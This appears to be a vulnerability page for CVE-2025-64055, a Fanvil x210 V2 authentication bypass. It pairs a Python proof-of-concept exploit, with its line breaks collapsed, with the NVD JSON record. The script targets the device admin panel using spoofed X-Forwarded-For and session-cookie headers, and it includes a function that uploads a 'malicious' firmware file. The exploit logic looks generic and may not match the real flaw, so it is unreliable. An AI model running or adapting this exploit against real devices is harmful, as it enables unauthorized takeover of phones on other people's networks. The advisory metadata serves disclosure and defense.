CVE-2025-64055

#!/usr/bin/env python3 # CVE-2025-64055 PoC - Fanvil x210 V2 Authentication Bypass # Target: Fanvil x210 V2 with firmware 2.12.20 import requests import sys def check_vulnerability(target_ip): """Check if target is vulnerable to CVE-2025-64055""" target_url = f"http://{target_ip}/cgi-bin/luci/admin" # Bypass authentication using crafted headers headers = { 'User-Agent': 'Mozilla/5.0', 'X-Forwarded-For': '127.0.0.1', 'Cookie': 'sysauth=admin' } try: # Try to access admin panel without authentication response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Target {target_ip} is VULNERABLE!") print(f"[+] Authentication bypassed successfully") return True else: print(f"[-] Target {target_ip} appears NOT vulnerable") return False except requests.RequestException as e: print(f"[!] Error connecting to {target_ip}: {e}") return False def exploit_file_upload(target_ip): """Exploit file upload functionality after bypass""" upload_url = f"http://{target_ip}/cgi-bin/luci/admin/firmware_upload" headers = { 'X-Forwarded-For': '127.0.0.1' } files = {'firmware': ('malicious.bin', b'MALICIOUS_FIRMWARE_DATA')} try: response = requests.post(upload_url, headers=headers, files=files) if response.status_code == 200: print("[+] Firmware upload request sent") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python3 {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-64055", "sourceIdentifier": "[email protected]", "published": "2025-12-03T21:15:52.813", "lastModified": "2026-01-09T02:18:23.843", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in Fanvil x210 V2 2.12.20 allowing unauthenticated attackers on the local network to access administrative functions of the device (e.g. file upload, firmware update, reboot...) via a crafted authentication bypass."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:fanvil:x210_firmware:2.12.20:*:*:*:*:*:*:*", "matchCriteriaId": "B5339CEB-DD13-43D9-9DBB-F58EA2EDC47D"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:fanvil:x210:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "826351F9-626E-4EA9-9634-9E04B462AF4A"}]}]}], "references": [{"url": "http://fanvil.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64055.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/SpikeReply/advisories/blob/main/cve/fanvil/cve-2025-64055.md", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}